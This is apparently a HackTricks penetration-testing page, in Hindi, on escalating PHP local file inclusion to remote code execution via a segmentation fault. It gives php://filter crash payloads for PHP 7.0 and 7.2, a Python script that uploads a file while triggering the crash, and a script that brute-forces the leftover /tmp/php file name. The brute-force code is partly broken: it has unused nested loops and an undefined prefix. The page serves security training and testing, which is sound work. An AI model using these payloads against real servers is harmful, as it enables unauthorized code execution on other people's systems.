LFI2RCE via Segmentation Fault
Reading time: 3 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
लेखों के अनुसार https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (दूसरा भाग) और https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, निम्नलिखित पेलोड्स ने PHP में एक सेगमेंटेशन फॉल्ट का कारण बना:
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");
// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
आपको पता होना चाहिए कि यदि आप POST अनुरोध भेजते हैं जिसमें एक फाइल होती है, तो PHP एक अस्थायी फाइल /tmp/php<कुछ>
बनाएगा जिसमें उस फाइल की सामग्री होगी। यह फाइल अनुरोध को संसाधित करने के बाद स्वतः हटा दी जाएगी।
यदि आप एक LFI पाते हैं और आप PHP में एक विभाजन दोष प्रेरित करने में सफल होते हैं, तो अस्थायी फाइल कभी नहीं हटेगी। इसलिए, आप LFI भेद्यता के साथ इसे खोज सकते हैं जब तक कि आप इसे न पा लें और मनमाने कोड को निष्पादित कर सकें।
आप परीक्षण के लिए डॉकर इमेज https://hub.docker.com/r/easyengine/php7.0 का उपयोग कर सकते हैं।
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)
# Search for the file (improve this with threads)
import requests
import string
import threading
charset = string.ascii_letters + string.digits
host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)
def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True
def main():
bruteforce(charset)
if __name__ == "__main__":
main()
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।